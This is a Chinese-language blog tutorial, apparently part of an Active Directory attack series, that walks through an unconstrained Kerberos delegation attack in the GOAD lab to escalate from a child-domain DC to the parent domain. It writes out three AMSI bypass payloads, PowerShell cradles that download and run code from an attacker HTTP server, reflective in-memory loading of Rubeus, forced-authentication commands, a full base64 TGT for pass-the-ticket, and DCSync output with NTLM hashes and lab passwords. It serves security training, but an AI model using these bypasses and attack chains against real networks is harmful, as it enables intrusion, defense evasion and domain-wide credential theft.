iT邦幫忙

2025 iThome 鐵人賽

DAY 17
0
Security

資安這條路:AD 攻防實戰演練系列 第 17

AD 攻防實戰演練 Day 17:Kerberos 無約束委派攻擊 - 從子域 DC 跨域提升至父域控制器

  • 分享至 

  • xImage
  •  

在前 16 天的實戰演練中,我們已經掌握了從初始入侵到 ADCS 攻擊的完整攻擊鏈。然而,Active Directory 環境中還存在另一個極具威脅性的攻擊面:Kerberos 委派機制(Delegation)。委派功能原本是為了解決「服務需要代表使用者存取其他資源」的合法需求而設計。想像一個 Web 應用程式需要以使用者身份讀取後端資料庫 - 這正是委派機制的應用場景。但是,當委派設定不當時,攻擊者可以利用這個信任機制冒充任意使用者,甚至直接控制整個域。今天的重點是 無約束委派(Unconstrained Delegation) - 這是三種委派類型中最危險的一種。透過實戰演練,你將親手執行一次完整的跨域攻擊:從控制子域的域控制器開始,透過強制認證技術捕獲父域 DC 的 Kerberos 票證,最終提升至父域的完整控制權限。

本日學習目標

在完成今天的實作後,你將能夠:

  1. 理解委派機制的本質
  2. 識別與偵察委派設定
  3. 執行完整的無約束委派攻擊
  4. 實現跨域提升攻擊

前置需求

在開始之前,確保已經完成:

  • GOAD 環境正常運作
  • 已取得多個域使用者憑證:
    • arya.stark:Needle
    • eddard.stark:FightP3aceAndHonor!
    • stannis.baratheon:Drag0nst0ne
  • BloodHound 資料已收集並匯入
  • 工具準備:Rubeus、Impacket、Coercer
# 確認工具安裝
which impacket-getST
which impacket-addcomputer
which impacket-rbcd
which impacket-secretsdump

# 下載 Rubeus(Windows 工具)
wget https://github.com/GhostPack/Rubeus/releases/latest/download/Rubeus.exe

# 安裝 Coercer(強制認證工具)
git clone https://github.com/p0dalirius/Coercer
cd Coercer
pip3 install -r requirements.txt

1. Kerberos 委派基礎概念

1.1 為什麼需要委派?

想像以下場景:

使用者 Alice 
    ↓ 登入
Web 伺服器(需要代表 Alice 存取資料庫)
    ↓ 需要 Alice 的身份
資料庫伺服器

問題:Web 伺服器如何證明「我是代表 Alice 來存取資料庫」?
解決方案:透過 Kerberos 委派機制

1.2 委派的三種類型

委派類型 英文名稱 信任範圍 危險程度 常見用途
無約束委派 Unconstrained Delegation 任何服務 🔴 極高 DC(預設)、舊式應用
約束委派 Constrained Delegation 指定的服務清單 🟡 高 Web→DB、特定服務鏈
資源型約束委派 Resource-Based Constrained Delegation (RBCD) 目標自行決定 🟠 中高 現代服務、靈活授權

1.3 委派的技術差異

無約束委派(Unconstrained)

使用者 → 服務 A(帶著 TGT)
服務 A:「我現在擁有使用者的 TGT,可以冒充他存取任何服務!」
         ↓
     任意服務

危險性:取得 TGT = 完全控制該使用者

約束委派(Constrained)

使用者 → 服務 A
服務 A → KDC:「我要代表使用者存取 服務 B」
KDC → 服務 A:「這是給服務 B 的 TGS」
服務 A → 服務 B(使用 TGS)

限制:只能存取預先定義的服務清單

資源型約束委派(RBCD)

服務 B 的管理員:「我允許服務 A 代表任何人存取我」
攻擊者控制服務 A → 可代表任何人存取服務 B

特點:權限設定在目標資源而非來源服務


2. 無約束委派攻擊(Unconstrained Delegation)

2.0 歷史回顧

image
image
image

image

2.1 環境識別

使用 BloodHound 查詢

# 查詢所有啟用無約束委派的電腦
MATCH (c {unconstraineddelegation:true}) RETURN c

image

image

結果分析

  • KINGSLANDING(DC)- 預設設定
  • WINTERFELL(DC)- 預設設定
  • MEEREEN(DC)- 預設設定

如果排除 DC,尋找異常主機,可參考以下語法

# 查詢非 DC 的無約束委派主機
MATCH (c1:Computer)-[:MemberOf*1..]->(g:Group) 
WHERE g.objectid ENDS WITH '-516' 
WITH COLLECT(c1.name) AS domainControllers 
MATCH (c2 {unconstraineddelegation:true}) 
WHERE NOT c2.name IN domainControllers 
RETURN c2

2.2 攻擊原理

無約束委派的核心問題:

  1. 使用者登入設定為無約束委派的伺服器
  2. 使用者的 TGT 被儲存在伺服器的 LSASS 記憶體中
  3. 攻擊者控制該伺服器 → 可提取所有 TGT
  4. 包括域控制器的 TGT

2.3 攻擊步驟

步驟 1:取得 WINTERFELL 的存取權限

使用 eddard.stark 的憑證:

# 使用 RDP 連接到 WINTERFELL
xfreerdp3 /d:north.sevenkingdoms.local /u:eddard.stark \
  /p:'FightP3aceAndHonor!' /v:192.168.139.11 /cert:ignore

image

為什麼選擇 WINTERFELL?

  • WINTERFELL 是 north.sevenkingdoms.local 的 DC
  • 設定為無約束委派(DC 預設)
  • eddard.stark 有登入權限

步驟 2:繞過 AMSI 並執行 Rubeus

在 Kali 準備 HTTP 伺服器:

# 準備工具
mkdir ~/goad/delegation
cd ~/goad/delegation

image

# 下載 Rubeus(從 GitHub 編譯好的版本)
wget https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/raw/master/Rubeus.exe

image

# 或從官方 repo 下載並編譯
git clone https://github.com/GhostPack/Rubeus.git

AMSI 是什麼?
AMSI(反惡意軟體掃描介面)是 Windows 10 以上版本內建的安全功能,會即時掃描 PowerShell 腳本、VBScript 等內容,偵測惡意程式碼。當你執行可疑指令時,AMSI 會攔截並發出警告。
以下說明三種 AMSI 繞過技術

第一種:amsi_rmouse.txt(記憶體修補法)

cat > amsi_rmouse.txt << 'EOF'
$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf = @(0);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
EOF

格式化版本:

$a=[Ref].Assembly.GetTypes();
Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};
$d=$c.GetFields('NonPublic,Static');
Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};
$g=$f.GetValue($null);
[IntPtr]$ptr=$g;
[Int32[]]$buf = @(0);
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)

逐行說明:

  1. $a=[Ref].Assembly.GetTypes()

    • 取得目前 PowerShell 程序中所有已載入的 .NET 型別
  2. Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}}

    • 走訪所有型別,尋找名稱包含 "iUtils" 的類別(實際上是 AmsiUtils
    • 找到後儲存到變數 $c
  3. $d=$c.GetFields('NonPublic,Static')

    • 取得 AmsiUtils 類別的所有非公開靜態欄位
  4. Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}}

    • 尋找名稱包含 "Context" 的欄位(實際上是 amsiContext
  5. $g=$f.GetValue($null)

    • 取得 amsiContext 欄位的值(記憶體位址)
  6. [IntPtr]$ptr=$g

    • 將值轉換為指標型別
  7. [Int32[]]$buf = @(0)

    • 建立一個包含 0 的整數陣列
  8. [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)

    • 關鍵步驟:將 0 寫入 AMSI context 的記憶體位址
    • 這會破壞 AMSI 的內部狀態,使其失效

原理: 透過修改 AMSI 在記憶體中的 context,讓 AMSI 以為自己已經初始化失敗,進而停止掃描。

第二種:amsi_bypass.txt(直接設定失敗旗標)

cat > amsi_bypass.txt << 'EOF'
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
EOF

說明:

  1. [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')

    • 直接取得 AmsiUtils 型別(不需要走訪)
  2. .GetField('amsiInitFailed','NonPublic,Static')

    • 取得名為 amsiInitFailed 的非公開靜態欄位
    • 這是 AMSI 內部用來標記「初始化是否失敗」的布林值
  3. .SetValue($null,$true)

    • 關鍵步驟:將 amsiInitFailed 設為 true
    • 告訴 AMSI:「你初始化失敗了,不要掃描了」

原理: 直接設定 AMSI 的失敗旗標,讓它以為自己無法正常運作,因此跳過所有掃描。

第三種:amsi_bypass_advanced.txt(字串混淆 + 記憶體寫入)

cat > amsi_bypass_advanced.txt << 'EOF'
$x=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUt'+'ils');
$y=$x.GetField('am'+'siCon'+'text',[Reflection.BindingFlags]'NonPublic,Static');
$z=$y.GetValue($null);
[Runtime.InteropServices.Marshal]::WriteInt32($z,0x41424344)
EOF

逐行說明:

  1. $x=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUt'+'ils')

    • 'Am'+'siUt'+'ils' = 'AmsiUtils'
    • 為什麼要拆開? 因為 AMSI 本身會掃描腳本內容
    • 如果直接寫 'AmsiUtils',可能被 AMSI 偵測為可疑字串
    • 透過字串串接,繞過靜態字串偵測
  2. $y=$x.GetField('am'+'siCon'+'text',[Reflection.BindingFlags]'NonPublic,Static')

    • 'am'+'siCon'+'text' = 'amsiContext'(同樣使用字串混淆)
    • 指定查找非公開的靜態欄位
    • amsiContext 是 AMSI 用來儲存掃描引擎內容的記憶體位址
  3. $z=$y.GetValue($null)

    • 取得 amsiContext 欄位的值
    • 這個值是一個記憶體指標(IntPtr),指向 AMSI 內容結構
  4. [Runtime.InteropServices.Marshal]::WriteInt32($z,0x41424344)

    • 關鍵步驟:在記憶體位址 $z 寫入 32 位元整數 0x41424344
    • 0x41424344 是什麼? 這是十六進位的 ASCII 碼:
      • 0x41 = 'A'
      • 0x42 = 'B'
      • 0x43 = 'C'
      • 0x44 = 'D'
    • 實際寫入的是字串 "ABCD" 的記憶體表示
    • 這會破壞 AMSI context 結構,當 AMSI 嘗試使用損壞的 context 時,會失效並停止掃描

原理: 使用字串混淆避開靜態偵測,然後直接破壞 AMSI 記憶體結構。

三種方法比較

特性 amsi_rmouse.txt amsi_bypass.txt amsi_bypass_advanced.txt
方法 記憶體修補(寫入 0) 設定失敗旗標 記憶體寫入(寫入 "ABCD")
複雜度 複雜(間接查找) 簡單直接 中等
字串混淆
隱蔽性 較高 較低 最高
穩定性 跨版本較穩定 可能被特徵碼偵測 穩定
偵測難度 較難被偵測 容易被 EDR 發現 最難被偵測
繞過率 最高

啟動 HTTP Server


# 啟動 HTTP 伺服器
python3 -m http.server 8080

在 RDP 開起 PowerShell :

# 方法 1:遠端執行 (記得要改成自己的 KALI IP)
IEX(New-Object Net.WebClient).DownloadString('http://KALI_IP:8080/amsi_bypass_advanced.txt')

(New-Object System.Net.WebClient).DownloadString('http://192.168.139.136:8080/amsi_rmouse.txt')|IEX

# 方法 2:單行指令(第三種)
$x=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUt'+'ils');$y=$x.GetField('am'+'siCon'+'text',[Reflection.BindingFlags]'NonPublic,Static');$z=$y.GetValue($null);[Runtime.InteropServices.Marshal]::WriteInt32($z,0x41424344)

# 方法 3:單行指令(第二種,最簡單)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)


image

echo -n '$x=[Ref].Assembly.GetType("System.Management.Automation.Am"+"siUt"+"ils");$y=$x.GetField("am"+"siCon"+"text",[Reflection.BindingFlags]"NonPublic,Static");$z=$y.GetValue($null);[Runtime.InteropServices.Marshal]::WriteInt32($z,0x41424344)' | iconv -t UTF-16LE | base64 -w 0


image
image

在本次測試當中發現沒有辦法繞過 AMSI ,但我們仍可以透過記憶體載入的方式來執行。

步驟 3:執行 Rubeus Triage(票證監控)

記憶體載入 .NET 組件技術解析

方法 1:使用 Main() 陣列參數

$data = (New-Object Net.WebClient).DownloadData('http://192.168.139.136:8080/Rubeus.exe')
[Reflection.Assembly]::Load($data)
[Rubeus.Program]::Main(@("triage"))

第一步:下載到記憶體

$data = (New-Object Net.WebClient).DownloadData('http://192.168.139.136:8080/Rubeus.exe')
  • New-Object Net.WebClient:建立網路客戶端物件
  • .DownloadData():將檔案下載為位元組陣列,儲存在記憶體中
  • $data:變數儲存 Rubeus.exe 的原始位元組
  • 不會寫入磁碟,避開防毒軟體的檔案掃描

第二步:反射載入組件

[Reflection.Assembly]::Load($data)
  • [Reflection.Assembly]:.NET 的反射功能
  • ::Load($data):將位元組陣列載入為 .NET 程式集
  • 組件只存在於記憶體的應用程式網域中
  • 輸出顯示 GAC = Falsev4.0.30319,確認載入成功

第三步:呼叫 Main 方法

[Rubeus.Program]::Main(@("triage"))
  • [Rubeus.Program]:Rubeus 程式的進入點類別
  • ::Main():標準的 C# Main 方法
  • @("triage"):PowerShell 陣列語法,傳遞字串陣列參數
  • 相當於在命令列執行 Rubeus.exe triage

陣列參數語法說明

# 單一參數
[Rubeus.Program]::Main(@("triage"))

# 多個參數
[Rubeus.Program]::Main(@("kerberoast", "/outfile:output.txt"))

# 含空格的參數需要正確分割
[Rubeus.Program]::Main(@("asktgt", "/user:admin", "/password:P@ssw0rd", "/domain:domain.local"))

重點: @() 是 PowerShell 建立陣列的語法,即使只有一個元素也要使用。

方法 2:使用 MainString() 字串參數

$data = (New-Object System.Net.WebClient).DownloadData('http://192.168.56.1:8080/Rubeus.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[Rubeus.Program]::MainString("triage")

差異說明-完整命名空間

# 方法 1:簡寫
Net.WebClient
Reflection.Assembly

# 方法 2:完整寫法
System.Net.WebClient
System.Reflection.Assembly

PowerShell 會自動補上 System. 前綴,兩種寫法功能相同。

差異說明-儲存組件變數

# 方法 1:不儲存
[Reflection.Assembly]::Load($data)

# 方法 2:儲存到變數
$assem = [System.Reflection.Assembly]::Load($data)

儲存到 $assem 可以後續操作該組件,但此案例中非必要。

差異說明-呼叫方法差異

# 方法 1:Main() - 接受字串陣列
[Rubeus.Program]::Main(@("triage"))
[Rubeus.Program]::Main(@("kerberoast", "/outfile:output.txt"))

# 方法 2:MainString() - 接受單一字串
[Rubeus.Program]::MainString("triage")
[Rubeus.Program]::MainString("kerberoast /outfile:output.txt")

差異說明-兩種方法比較

項目 Main() 方法 MainString() 方法
參數型別 string[] 陣列 string 單一字串
語法 @("cmd", "arg1", "arg2") "cmd arg1 arg2"
複雜度 稍複雜 較簡單
適用場景 參數明確分離 簡單指令快速執行
符合標準 標準 C# Main 方法 Rubeus 特製方法

差異說明-使用建議

使用 Main():

  • 參數較複雜時
  • 需要明確控制每個參數
  • 符合標準 C# 慣例

使用 MainString():

  • 簡單指令
  • 類似命令列輸入的直覺操作
  • 語法更簡潔

技術原理總結

這是**無檔案攻擊(Fileless Attack)**技術:

  1. 下載到記憶體:不寫入磁碟檔案
  2. 反射載入:使用 .NET 的 Reflection 功能動態載入組件
  3. 直接執行:在記憶體中執行程式碼

優點:

  • 繞過檔案掃描
  • 不觸發應用程式白名單
  • 難以取證

缺點:

  • 可被記憶體掃描偵測
  • PowerShell 日誌會記錄
  • 現代 EDR 能偵測此行為

兩種方法的核心原理相同,差別只在於參數傳遞方式。選擇你覺得方便的即可。
預期輸出

嘗試存取

image

解讀結果

從輸出可以看到 eddard.stark 有以下 tickets:

Ticket 說明 類型
krbtgt/NORTH.SEVENKINGDOMS.LOCAL TGT(票證授權票證) 用於向 KDC 請求服務票證
MSSQLSvc/castelblack... MSSQL 服務票證 訪問 castelblack 的 SQL Server
CIFS/thewall... 檔案共享票證 訪問 thewall 的 SMB/CIFS
HTTP/eyrie... HTTP 服務票證 訪問 eyrie 的 Web 服務
LUID 說明

LUID: 0x1d5ce9本地唯一識別碼(Locally Unique Identifier),代表目前的登入 session。

  • 所有 tickets 都屬於同一個 LUID,表示這是同一個登入 session
  • 這些是 eddard.stark 在這個 session 中取得的所有 Kerberos tickets

這些票證顯示 eddard.stark 已經存取過多個服務,包括 SQL Server、檔案共享和 Web 服務。

步驟 4:強制 DC 進行認證(Coercion)

目標:讓 KINGSLANDING$(父域 DC)向 WINTERFELL 認證

在 Kali 執行 Coercer:

python3 -m pip install coercer


# 強制 KINGSLANDING 連接到 WINTERFELL
~/.venvs/impacket/bin/coercer coerce \
  -u arya.stark \
  -p Needle \
  -d north.sevenkingdoms.local \
  -t kingslanding.sevenkingdoms.local \
  -l winterfell.north.sevenkingdoms.local

image

coercer 發現了:

MS-EFSR (EfsRpcAddUsersToFile) 回應 ERROR_BAD_NETPATH - 這是成功的!

Coercer 原理

  • 利用 Windows RPC 協定漏洞
  • 強制目標(KINGSLANDING)向攻擊者控制的機器(WINTERFELL)發起認證
  • 類似 PetitPotam、PrinterBug

預期輸出

[+] Successful exploitation of MS-RPRN!
[+] kingslanding.sevenkingdoms.local authenticated to winterfell

步驟 5:捕獲 DC 的 TGT

image
記得要開管理員模式

回到 RDP session,再次執行 Triage:

[Rubeus.Program]::MainString("triage")

關鍵發現

 | 0x4e1e4c | kingslanding$ @ SEVENKINGDOMS.LOCAL | krbtgt/SEVENKINGDOMS.LOCAL |

成功! KINGSLANDING 的 TGT 出現了!

步驟 6:提取 TGT

# 提取 KINGSLANDING$ 的 TGT
[Rubeus.Program]::Main(@("dump", "/service:krbtgt", "/nowrap"))

# 提取指定
[Rubeus.Program]::Main(@("dump", "/luid:0x447ed6", "/service:krbtgt", "/nowrap"))

image

輸出範例

[*] Action: Dump Kerberos Ticket Data (All Users)

UserName                 : kingslanding$
Domain                   : SEVENKINGDOMS
LogonId                  : 0x5a3b2
UserSID                  : S-1-5-21-...
AuthenticationPackage    : Kerberos
LogonType                : Network
LogonTime                : 9/20/2025 10:23:15
LogonServer              : KINGSLANDING
LogonServerDNSDomain     : SEVENKINGDOMS.LOCAL
UserPrincipalName        : kingslanding$@sevenkingdoms.local

  ServiceName              : krbtgt/SEVENKINGDOMS.LOCAL
  ServiceRealm             : SEVENKINGDOMS.LOCAL
  StartTime                : 9/20/2025 10:23:15
  EndTime                  : 9/20/2025 20:23:15
  RenewTill                : 9/27/2025 10:23:15
  Flags                    : name_canonicalize, pre_authent, renewable, forwarded, forwardable
  Base64EncodedTicket      :

doIFuj...很長的 base64...

複製 Base64 票證(重要:刪除所有空白和換行)

步驟 7:轉換並使用票證(Linux)

# 將 Base64 票證匯入當前 session
[Rubeus.Program]::Main(@("ptt", "/ticket:doIFrzCCBaugAwIBBaEDAgEWooIEmTCCBJVhggSRMIIEjaADAgEFoRUbE1NFVkVOS0lOR0RPTVMuTE9DQUyiKDAmoAMCAQKhHzAdGwZrcmJ0Z3QbE1NFVkVOS0lOR0RPTVMuTE9DQUyjggRDMIIEP6ADAgESoQMCAQKiggQxBIIELRE5qJodz0dm5XFJbRwfcmk97T81MLe6PF+5EKXTr0eg0GzuIdyLg0g+zB+3aS17/kWRyFkvz+N86ghRnZB+SvalavAaGa+Oo1yu4ts9lj9qr4tVBvyyUIhWQ75FcKUtyPfYiYFs8G0Wsp7y38B09EdQto66dpfh1KdVB8m+NQHccep6DLArG6wmR3+LMxs1KiNIhoubW9iLLci1vvURjxSqP1lhT99XuhqS3NHdiQ7QQ0ta/Xm3pF/u6Hr4vKJXba7OXrxfxboSZ2vWTZhiVT7ztTUDofBskeqXBeoop3KcORG2m/pdc2NJyRvaZwMm+U+kPpnLvRJTA1A/wCTl73jZVZKuWPcSfP40DhpaAPFq6QFC2ZebMNWhhKG3NPnWA4dxzhtxbVxyOItLeHx5QdKkV2EuL5nqPOyAknkIP2JxU/3xvGxBqKzd9Uij2sCK2VfgPaxL9LQB/f36XGEhO23Ys00frKRAXEbM01JTglrQECMO5noQiosrpLFikbx8B04y1JX3OMrjOAbCnYsRLrUB0VEgl1yEUXBGqnJerNzc9boDxiCGvn/iqp64alSCVq2uHMZ82skRwMBUyadUj5fT4dz/REhaTzvQJnQEbTDjGJwhYknLC0pII+UOE9ZAVU/Dg+c4FKuDDhQN947FCZ8M0SjNyNOnTkCR/7l7z51CCCBnnXU4eOD9982+LAgqqTJ8LqHMeSf1AHJMVI8KH73iUXBW8v6Qm04WSm61p5XX1EJNpE+dYWd9HcldB7YJoqXggPRhElH7SEnJ8+7B3s4qaJtV8bisZW/BTaPxMrW5HUVVuar09WZNbc4ZnFi43AAw6Op/h+xaT+ZMpu8Q29Y/ZMjMLnYq6jswTIbZp6uyVWuveskV9b/Ifx6hylcK4sT+GWQSuoYKrkj4UvlN2iuTCXONdI5xsAcNDQTNFKtZFF1kp2Xy+9fvH/S0lnUNmNtV5MFxElLsEzeoZiZdFbzD4q6n06aoO5nGEXUeY6kKCt7Su9cfFb7Q7FB287Yjv0DXcbP/3vzNXBTUcI0Mq+8PRXGGTw/9wWcgpzv2fDYYO/I9TBLUYVoNF8sOGqUyb7LPHjwLnOr8xTrMYn1+61kbhuXatMDJorO311k31AR6AGJQQa/WID9PLonlIcnORLb3IdAhyZT333Z9keXqStEMHUtyltyPtYfdfiOiTZ0Zuh1JPyGUI3pgvQRMnhfqMIxwKx91NP4xkJuSjx+CYchU04s/KRWY0ox67hEVVu8AY4vhsngrJsqf/iURmMoPz/YPLxeCDnvDx8l4neNt+wPf60fCepv20Qyi6ycRPEZW+nJfkZyStqd0Xtv9INipdz0B1ZES3kbATi+cr9Pm2mVqD80/BRXaHYUO4ZM+YLZl7iOnGla7pdJvbgfBw5FPrsXsSNSk97Oi9Qf8OMijggEAMIH9oAMCAQCigfUEgfJ9ge8wgeyggekwgeYwgeOgKzApoAMCARKhIgQgi+vb61pURWHtGCAZ+42RxiufDN2EH+oB19urMe/2M7GhFRsTU0VWRU5LSU5HRE9NUy5MT0NBTKIaMBigAwIBAaERMA8bDUtJTkdTTEFORElORySjBwMFAGChAAClERgPMjAyNTEwMDExMzU1MTNaphEYDzIwMjUxMDAxMjM1NTEzWqcRGA8yMDI1MTAwODEzNTUxM1qoFRsTU0VWRU5LSU5HRE9NUy5MT0NBTKkoMCagAwIBAqEfMB0bBmtyYnRndBsTU0VWRU5LSU5HRE9NUy5MT0NBTA=="))

在 Kali:

# 將 Base64 儲存到檔案
cd ~/goad/delegation
cat > kingslanding.b64 << 'EOF'
doIFrzCCBaugAwIBBaEDAgEWooIEmTCCBJVhggSRMIIEjaADAgEFoRUbE1NFVkVOS0lOR0RPTVMuTE9DQUyiKDAmoAMCAQKhHzAdGwZrcmJ0Z3QbE1NFVkVOS0lOR0RPTVMuTE9DQUyjggRDMIIEP6ADAgESoQMCAQKiggQxBIIELRE5qJodz0dm5XFJbRwfcmk97T81MLe6PF+5EKXTr0eg0GzuIdyLg0g+zB+3aS17/kWRyFkvz+N86ghRnZB+SvalavAaGa+Oo1yu4ts9lj9qr4tVBvyyUIhWQ75FcKUtyPfYiYFs8G0Wsp7y38B09EdQto66dpfh1KdVB8m+NQHccep6DLArG6wmR3+LMxs1KiNIhoubW9iLLci1vvURjxSqP1lhT99XuhqS3NHdiQ7QQ0ta/Xm3pF/u6Hr4vKJXba7OXrxfxboSZ2vWTZhiVT7ztTUDofBskeqXBeoop3KcORG2m/pdc2NJyRvaZwMm+U+kPpnLvRJTA1A/wCTl73jZVZKuWPcSfP40DhpaAPFq6QFC2ZebMNWhhKG3NPnWA4dxzhtxbVxyOItLeHx5QdKkV2EuL5nqPOyAknkIP2JxU/3xvGxBqKzd9Uij2sCK2VfgPaxL9LQB/f36XGEhO23Ys00frKRAXEbM01JTglrQECMO5noQiosrpLFikbx8B04y1JX3OMrjOAbCnYsRLrUB0VEgl1yEUXBGqnJerNzc9boDxiCGvn/iqp64alSCVq2uHMZ82skRwMBUyadUj5fT4dz/REhaTzvQJnQEbTDjGJwhYknLC0pII+UOE9ZAVU/Dg+c4FKuDDhQN947FCZ8M0SjNyNOnTkCR/7l7z51CCCBnnXU4eOD9982+LAgqqTJ8LqHMeSf1AHJMVI8KH73iUXBW8v6Qm04WSm61p5XX1EJNpE+dYWd9HcldB7YJoqXggPRhElH7SEnJ8+7B3s4qaJtV8bisZW/BTaPxMrW5HUVVuar09WZNbc4ZnFi43AAw6Op/h+xaT+ZMpu8Q29Y/ZMjMLnYq6jswTIbZp6uyVWuveskV9b/Ifx6hylcK4sT+GWQSuoYKrkj4UvlN2iuTCXONdI5xsAcNDQTNFKtZFF1kp2Xy+9fvH/S0lnUNmNtV5MFxElLsEzeoZiZdFbzD4q6n06aoO5nGEXUeY6kKCt7Su9cfFb7Q7FB287Yjv0DXcbP/3vzNXBTUcI0Mq+8PRXGGTw/9wWcgpzv2fDYYO/I9TBLUYVoNF8sOGqUyb7LPHjwLnOr8xTrMYn1+61kbhuXatMDJorO311k31AR6AGJQQa/WID9PLonlIcnORLb3IdAhyZT333Z9keXqStEMHUtyltyPtYfdfiOiTZ0Zuh1JPyGUI3pgvQRMnhfqMIxwKx91NP4xkJuSjx+CYchU04s/KRWY0ox67hEVVu8AY4vhsngrJsqf/iURmMoPz/YPLxeCDnvDx8l4neNt+wPf60fCepv20Qyi6ycRPEZW+nJfkZyStqd0Xtv9INipdz0B1ZES3kbATi+cr9Pm2mVqD80/BRXaHYUO4ZM+YLZl7iOnGla7pdJvbgfBw5FPrsXsSNSk97Oi9Qf8OMijggEAMIH9oAMCAQCigfUEgfJ9ge8wgeyggekwgeYwgeOgKzApoAMCARKhIgQgi+vb61pURWHtGCAZ+42RxiufDN2EH+oB19urMe/2M7GhFRsTU0VWRU5LSU5HRE9NUy5MT0NBTKIaMBigAwIBAaERMA8bDUtJTkdTTEFORElORySjBwMFAGChAAClERgPMjAyNTEwMDExMzU1MTNaphEYDzIwMjUxMDAxMjM1NTEzWqcRGA8yMDI1MTAwODEzNTUxM1qoFRsTU0VWRU5LSU5HRE9NUy5MT0NBTKkoMCagAwIBAqEfMB0bBmtyYnRndBsTU0VWRU5LSU5HRE9NUy5MT0NBTA==
EOF

image

# 轉換格式
cat kingslanding.b64 | base64 -d > kingslanding.kirbi
ticketConverter.py kingslanding.kirbi kingslanding.ccache

image

# 設定 Kerberos 票證
export KRB5CCNAME=kingslanding.ccache

# 執行 DCSync 攻擊
secretsdump.py -k -no-pass SEVENKINGDOMS.LOCAL/KINGSLANDING\$@kingslanding.sevenkingdoms.local

image


klist

image

klist 輸出

┌──(impacket)─(kali㉿kali)-[~/goad/delegation]
└─$ klist
Ticket cache: FILE:kingslanding.ccache
Default principal: KINGSLANDING$@SEVENKINGDOMS.LOCAL

Valid starting       Expires              Service principal
10/01/2025 06:55:13  10/01/2025 16:55:13  krbtgt/SEVENKINGDOMS.LOCAL@SEVENKINGDOMS.LOCAL
        renew until 10/08/2025 06:55:13

步驟 8:執行 DCSync

image

# 使用 KINGSLANDING$ 的票證執行 DCSync
impacket-secretsdump -k -no-pass \
  SEVENKINGDOMS.LOCAL/'KINGSLANDING$'@KINGSLANDING.SEVENKINGDOMS.LOCAL

成功輸出

[-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c66d72021a2d4744409969a581a1705e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:3bd92e98b99b5f66fc4d771a18e003bb:::
vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
tywin.lannister:1113:aad3b435b51404eeaad3b435b51404ee:af52e9ec3471788111a6308abff2e9b7:::
jaime.lannister:1114:aad3b435b51404eeaad3b435b51404ee:12e3795b7dedb3bb741f2e2869616080:::
cersei.lannister:1115:aad3b435b51404eeaad3b435b51404ee:c247f62516b53893c7addcf8c349954b:::
tyron.lannister:1116:aad3b435b51404eeaad3b435b51404ee:b3b3717f7d51b37fb325f7e7d048e998:::
robert.baratheon:1117:aad3b435b51404eeaad3b435b51404ee:9029cf007326107eb1c519c84ea60dbe:::
joffrey.baratheon:1118:aad3b435b51404eeaad3b435b51404ee:3b60abbc25770511334b3829866b08f1:::
renly.baratheon:1119:aad3b435b51404eeaad3b435b51404ee:1e9ed4fc99088768eed631acfcd49bce:::
stannis.baratheon:1120:aad3b435b51404eeaad3b435b51404ee:d75b9fdf23c0d9a6549cff9ed6e489cd:::
petyer.baelish:1121:aad3b435b51404eeaad3b435b51404ee:6c439acfa121a821552568b086c8d210:::
lord.varys:1122:aad3b435b51404eeaad3b435b51404ee:52ff2a79823d81d6a3f4f8261d7acc59:::

成功!從子域(north.sevenkingdoms.local)提升到父域(sevenkingdoms.local)!

2.4 攻擊流程總結

1. 控制設定無約束委派的機器(WINTERFELL)
   ↓
2. 強制高權限目標(KINGSLANDING DC)進行認證
   ↓
3. 捕獲目標的 TGT(儲存在 LSASS)
   ↓
4. 使用 TGT 冒充目標
   ↓
5. 執行 DCSync 取得所有域憑證

小試身手

第 1 題:委派類型的危險性比較

在 Active Directory 的三種 Kerberos 委派類型中,以下敘述何者正確

A) 約束委派(Constrained Delegation)最危險,因為可以存取任何服務
B) 資源型約束委派(RBCD)最危險,因為權限設定在目標資源
C) 無約束委派(Unconstrained Delegation)最危險,因為服務可以獲得使用者的 TGT
D) 三種委派類型的危險性相同,主要取決於服務的權限

正確答案:C

詳細解析:

無約束委派是三種類型中最危險的,原因如下:

  1. TGT 的完整控制權

    • 當使用者登入設定為無約束委派的伺服器時,使用者的 TGT(票證授權票證) 會被儲存在該伺服器的 LSASS 記憶體中
    • TGT 是 Kerberos 認證的「萬能鑰匙」,可以用來向 KDC 請求存取任何服務的票證
    • 攻擊者控制該伺服器 = 可以冒充所有曾登入的使用者
  2. 無限制的服務存取

    • 無約束委派沒有限制可以存取哪些服務
    • 取得 TGT 後,攻擊者可以代表使用者存取任何資源
    • 如果捕獲的是域控制器的 TGT,等於直接控制整個域
  3. 其他選項錯誤原因

    • A 錯誤:約束委派只能存取預先定義的服務清單,有明確限制
    • B 錯誤:RBCD 雖然靈活,但仍需要攻擊者先控制來源服務,且有特定限制
    • D 錯誤:無約束委派的危險性明顯高於其他兩種

實戰案例
